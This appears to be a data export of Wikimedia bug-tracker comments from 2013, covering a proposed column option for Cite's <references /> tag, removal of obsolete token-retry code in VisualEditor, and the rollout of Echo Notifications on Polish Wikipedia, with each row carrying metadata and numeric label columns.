+237786,Support editing <references /> tags to set multi-column display on/off,"For the record, both column-count and column-width are fully automated CSS properties in the browser. It's 1 line of code to tell the browser, and then browsers handle it natively for us. No development on our side to split the list or anything like that.",,,1380273005,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,12,,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+237781,Support editing <references /> tags to set multi-column display on/off,"column-count is terrible indeed, especially for liquid layouts like in MediaWiki skins. When viewing it on a narrower window, it becomes unreadable.
+
+column-width is a much more sensible approach, though I find it hard to believe either makes sense to be specified on the individual reflist. What I've seen in practice (at least on nl.wikipedia) that there is authors who know about it and explicitly use reflist with 2 columns in all their articles, and others who don't know about it, and others who prefer 3 for whatever reason.
+
+The result is a chaos if different column counts per article.
+
+When incorporating this back into the Cite extension, we can also provide a better default based on whatever really makes sense to derive it from. Whatever the rational is for needing multiple columns (mostly for readability I presume as the lines become too wide, and the list too long), we can automate that trivially based on rational UX arguments (yes, there shall be a global wiki bikeshed about why 2 is better than 3). Probably deriving it from the number of references in the list.
+
+column-width will allow the list to fold back into 1 column on smaller devices and people who just like to narrow their window, and multiply out as the window gets wider. Of course this problem isn't entirely specific to references lists, it's also a long outstanding petpeeve of various designers about the article content itself, a fluid layout makes that content hard to read as well in some cases (though a fixed layout is probably better than multi-column in that case).
+
+</brain-dump>",,,1380272763,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,12,,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+237775,Support editing <references /> tags to set multi-column display on/off,What about the {{reflist}} variants on en.wiki such as {{notelist}}?,,,1377709374,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+237769,Support editing <references /> tags to set multi-column display on/off,"The plwp infobox <references/> is here:
+https://pl.wikipedia.org/wiki/Szablon:Infobox_uwagi_dodaj",,,1373764541,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+237761,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #7)
+> I don't understand what you're saying? This is an enhancement about users
+> frequently using a template to achieve a trivial software feature, and so 
+> building that into reference lists (<references />s) rather than having them
+> need to invent and use the template.
+> 
+> Reference incidences (<ref>s) inside templates are an entirely distinct
+> problem
+> for VisualEditor to worry about, and this isn't about that. :-)
+
+This bug seems to be about enhancing <references /> so people won't (often?) have to embed <references /> in templates.  However, I think db's point is that there are other reasons (besides {{reflist}}) that <references /> may be in a template.  The example Bartosz gave (Carles Puyol) boils down (after a few template layers) to [[pl:Szablon:Infobox_uwagi_dodaj]], which has its own references tag with a custom infobox group.  As shown at [[pl:Carles Puyol]], the effect is a small notes list just for the infobox.",,,1373762484,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+237756,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #3)
+> Also, some wikis include more stuff in their reflist-like templates; for
+> example [[pl:Template:Przypisy]] unconditionally includes the heading.
+
+Indeed. The equivalent template on Portuguese Wikipedia is also used to generate the header, and also has parameters to change the header text as well as its level (<h2>, <h3>, ...):
+https://pt.wikipedia.org/wiki/Template:Referências",,,1373746711,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+237751,Support editing <references /> tags to set multi-column display on/off,"The references tag should support html attributes, than you can write <references class=""***"" /> and the template can be replaced.
+
+Needs a set up a class for list-styles.
+
+The extra class=""reflist"" is unneeded, because the references tag already adds class=""references"".
+
+Thats why you can already add
+
+.references { column-width: 35em; -moz-column-width: 35em; -webkit-column-width: 35em; }
+
+to your common.css/user.css and all references will have column width, no need to tag each references tag with its own class.
+
+
+But the template has the advanced, that syntax errors will not eat the rest of the page.",,,1373744313,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+237747,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #5)
+> You will become also problems with <ref> in infobox templates or so on, that
+> means you need another soluation than add a new tag or maintain a hardcoded
+> template list in VisualEditor.
+
+I don't understand what you're saying? This is an enhancement about users frequently using a template to achieve a trivial software feature, and so  building that into reference lists (<references />s) rather than having them need to invent and use the template.
+
+Reference incidences (<ref>s) inside templates are an entirely distinct problem for VisualEditor to worry about, and this isn't about that. :-)",,,1373724517,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+237743,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #5)
+> You will become also problems with <ref> in infobox templates or so on, that
+> means you need another soluation than add a new tag or maintain a hardcoded
+> template list in VisualEditor.
+
+Hm, yeah, I didn't think about it, but some infoboxes include their own <ref>s *and* <references group=.../>, for example pl.wp infoboxes for football players and some other sportsmen; an example can be seen on [[pl:Carles Puyol]].",,,1373709172,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+237738,Support editing <references /> tags to set multi-column display on/off,"You will become also problems with <ref> in infobox templates or so on, that means you need another soluation than add a new tag or maintain a hardcoded template list in VisualEditor.",,,1373700015,,PHID-USER-a6jwrurphpx6yl4coupk,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+237733,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #3)
+> Also, some wikis include more stuff in their reflist-like templates; for
+> example [[pl:Template:Przypisy]] unconditionally includes the heading.
+> 
+> (In reply to comment #2)
+> > > ""Obviously""? In my opinion setting maximalcolumn width and letting the
+> > > browser figure out the layout makes more sense than hardcoded number
+> > > (although sadly it's not how it's done right now).
+> > 
+> > We should be reducing, not increasing, the use of hard-coded widths. HTML is
+> > not a graphical layout language, and should not be bastardised to serve as
+> > such.
+> 
+> Hardcoding the number of columns is the same, except worse, since it can't be
+> adjusted to the capabilities of the browser/device without violating CSS
+> spec.
+> 
+> CSS only allows specifying column width ""hints"", anyway, and they can be
+> measured in ems.
+> https://developer.mozilla.org/en-US/docs/Web/CSS/column-width
+
+OK, then I suppose we should maintain equivalence with {{reflist}} here.",,,1373665020,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+237728,Support editing <references /> tags to set multi-column display on/off,"Also, some wikis include more stuff in their reflist-like templates; for example [[pl:Template:Przypisy]] unconditionally includes the heading.
+
+(In reply to comment #2)
+> > ""Obviously""? In my opinion setting maximalcolumn width and letting the
+> > browser figure out the layout makes more sense than hardcoded number (although
+> > sadly it's not how it's done right now).
+> 
+> We should be reducing, not increasing, the use of hard-coded widths. HTML is
+> not a graphical layout language, and should not be bastardised to serve as
+> such.
+
+Hardcoding the number of columns is the same, except worse, since it can't be adjusted to the capabilities of the browser/device without violating CSS spec.
+
+CSS only allows specifying column width ""hints"", anyway, and they can be measured in ems. https://developer.mozilla.org/en-US/docs/Web/CSS/column-width",,,1373664227,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+237721,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #1)
+> (In reply to comment #0)
+> > * columns (default to 1; a number between 1 and … another number? - not
+> > allowing width, obviously)
+> 
+> ""Obviously""? In my opinion setting maximalcolumn width and letting the
+> browser figure out the layout makes more sense than hardcoded number (although
+> sadly it's not how it's done right now).
+
+We should be reducing, not increasing, the use of hard-coded widths. HTML is not a graphical layout language, and should not be bastardised to serve as such.
+
+> > * list-style (default to decimal; just an escaped pass-through of the CSS
+> > list-style of the OL)
+> 
+> That would be a bad way to do this; the list style should actually depends on
+> the group name used (since Cite has a way to provide custom markers instead
+> of [1] to reference citations, list-style is used to match them - see
+> [[Special:PrefixIndex/MediaWiki:Cite_link_label_group]] for ones defined on
+> en.wp).
+
+Sorry, yes, I meant ""default to what the group states; if no group, default to decimal; otherwise, let the user over-ride"".",,,1373663834,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+237712,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #0)
+> * columns (default to 1; a number between 1 and … another number? - not
+> allowing width, obviously)
+
+""Obviously""? In my opinion setting maximalcolumn width and letting the browser figure out the layout makes more sense than hardcoded number (although sadly it's not how it's done right now).
+
+
+> * list-style (default to decimal; just an escaped pass-through of the CSS
+> list-style of the OL)
+
+That would be a bad way to do this; the list style should actually depends on the group name used (since Cite has a way to provide custom markers instead of [1] to reference citations, list-style is used to match them - see [[Special:PrefixIndex/MediaWiki:Cite_link_label_group]] for ones defined on en.wp).",,,1373663426,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+53253,VisualEditor: Remove obsolete retry token logic in mw.Target,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373654940,1376579824.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-glljlygxsse6ts5nyo5g,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+237265,VisualEditor: Remove obsolete retry token logic in mw.Target,"Change 76860 merged by jenkins-bot:
+mw.Target: Removed unreachable badtoken recovery code
+
+https://gerrit.wikimedia.org/r/76860",,,1376556010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237256,VisualEditor: Remove obsolete retry token logic in mw.Target,"Change 76860 had a related patch set uploaded by Krinkle:
+Removed unreachable badtoken recovery code
+
+https://gerrit.wikimedia.org/r/76860",,,1375231529,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237246,VisualEditor: Remove obsolete retry token logic in mw.Target,"It also ignored the fact that the new token may be logged out or for a different user, though this was previous OK-ish because it was only to load the content which is a read action and not a write action (hence why we fixed that API recently to no longer require a token)",,,1373655053,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+237239,VisualEditor: Remove obsolete retry token logic in mw.Target,"onLoad no longer requires or even considers a token, so this is now obsolete.",,,1373655001,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0
+53251,Install Notifications (Echo) on the Polish Wikipedia,"Please install Notifications (Echo) on the Polish Wikipedia. I think the community supports this in general.
+
+Is it even possible? It seems some similar requests were rejected (bug 50064?).
+
+I'll start a straw poll to confirm this after it's made clear that the request will be fulfilled (I don't want to bother them otherwise).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52510",Medium,50.0,1373650320,1377773546.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_description,resolved,True,c1,3,True,False,True,1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0
+237169,Install Notifications (Echo) on the Polish Wikipedia,"I'm pretty sure this can be closed now :) Thanks, Fabrice!",,,1377773546,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+237162,Install Notifications (Echo) on the Polish Wikipedia,"Sorry, I meant to say 'translate to Polish' (not 'Swedish'). My apologies, I am juggling a number of parallel releases and am using more copy-and-paste than I should. ;o)",,,1376107997,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+237158,Install Notifications (Echo) on the Polish Wikipedia,"Hello Bartosz,
+
+Thanks for bringing up the question about FlaggedRevs. At this point, we do not plan support these events, and will not be able to implement this request in the near-term, sadly.
+
+In the meantime, I would like to make sure that all is ready on your end for our August 20 release.
+
+If you haven't already, we recommend you do the following for this proposed release:
+
+* Confirm on Meta that the Notifications interface has been properly translated to Swedish -- update the translations if needed.
+
+* Translate and create a Polish version of this help page, which links from the tool's interface (question marks on flyout and archive):
+http://www.mediawiki.org/wiki/Help:Notifications
+
+* Go over the checklist in this Notifications release plan and determine if you need to make any special adjustments (e.g. default user settings):
+http://www.mediawiki.org/wiki/Echo/Release_Plan_2013
+
+Thanks so much for your interest in this tool. I look forward to working with you soon.",,,1376107269,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+237149,Install Notifications (Echo) on the Polish Wikipedia,"By the way, I just noticed that Echo doesn't provide notifications for events related to the FlaggedRevs extension pl.wp has installed, in particular the act of ""sighting"" a page (similar to how page patrolling in core works).
+
+I filed bug 52510 about this. It's not a deployment blocker, but it would be *really* nice to have it.",,,1375576048,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+237142,Install Notifications (Echo) on the Polish Wikipedia,"Wonderful, thank you!
+
+Let's reconnect after Wikimania, around Aug. 15, to see if there are any final questions before the scheduled Aug. 20 deployment, which should take place at about 21:00 CET.
+
+Cheers!",,,1375375348,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+237134,Install Notifications (Echo) on the Polish Wikipedia,"I have copied relevant pages from the English Wikipedia to:
+* https://pl.wikipedia.org/wiki/Wikipedia:Powiadomienia
+* https://pl.wikipedia.org/wiki/Wikipedia:Powiadomienia/FAQ
+
+They should get translated and adjusted before the deployment.",,,1375362558,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+237126,Install Notifications (Echo) on the Polish Wikipedia,And thanks for responding :) I'll forward this information to the community.,,,1374710826,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+237117,Install Notifications (Echo) on the Polish Wikipedia,"(In reply to comment #3)
+> It would be great if someone could start translating this FAQ page to Polish,
+> and give us the URL, so we can link the help icons to that page when the tool
+> is released in late August:
+> http://en.wikipedia.org/wiki/Wikipedia:Notifications/FAQ
+
+Then this page should be copied somewhere that is not English Wikipedia and that has the Translate extension installed.
+
+VisualEditor's FAQ and help pages were being translated on mediawiki.org and copied to the wikis later, but Meta would do just as fine here.",,,1374710558,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,3,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+237109,Install Notifications (Echo) on the Polish Wikipedia,"Hi Bartosz,
+
+Glad to hear that the Polish community has reached consensus for deployment of Notifications this summer. We are very happy to have you as one of our first pilot sites for this tool!
+
+Our current target date for this deployment is now set to Tuesday, August 20th at about 12pm PT (~21:00 Central European Time, if I am correct).
+
+It would be great if someone could start translating this FAQ page to Polish, and give us the URL, so we can link the help icons to that page when the tool is released in late August:
+http://en.wikipedia.org/wiki/Wikipedia:Notifications/FAQ
+
+We plan to deploy Notifications to MetaWiki tomorrow, which will give us a first preview of how the tool works in languages other than English. 
+
+Please let us know if you gave any questions, comments or suggestions.
+
+Look forward to working with you on this release!",,,1374710265,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,3,,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+237101,Install Notifications (Echo) on the Polish Wikipedia,"Straw poll: https://pl.wikipedia.org/wiki/Wikipedia:KT#Nowy_system_powiadomie.C5.84
+
+Overwhelming support, 21/2/2 right now :)
+
+Can we get a more precise estimate on ""later this summer""?",,,1374361726,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0
+237095,Install Notifications (Echo) on the Polish Wikipedia,"Hi Bartosz,
+
+Yes, we are now looking for a few wikis who want Notifications right away, so we can deploy it on their sites later this summer.
+
+Let us know what the Polish community thinks. If the straw poll is favorable, we can include you in our short list of summer deployments (which now includes Meta and the French Wikipedia).
+
+Thanks for taking the time to suggest this!",,,1373918592,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+53237,VisualEditor: Add the capacity for help pages in dialogs,"So, for example, the template dialogue. Once you're in it, there's not really any guidance on what you should do: as intuitive as we can ultimately make it, there will always be some confusion. It would be good if the VisualEditor had space for some kind of help icon that would link, in a new tab/window, to a pertinent help page on the specific wiki: we could set up MediaWiki namespace pages that provide the wiki-specific link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
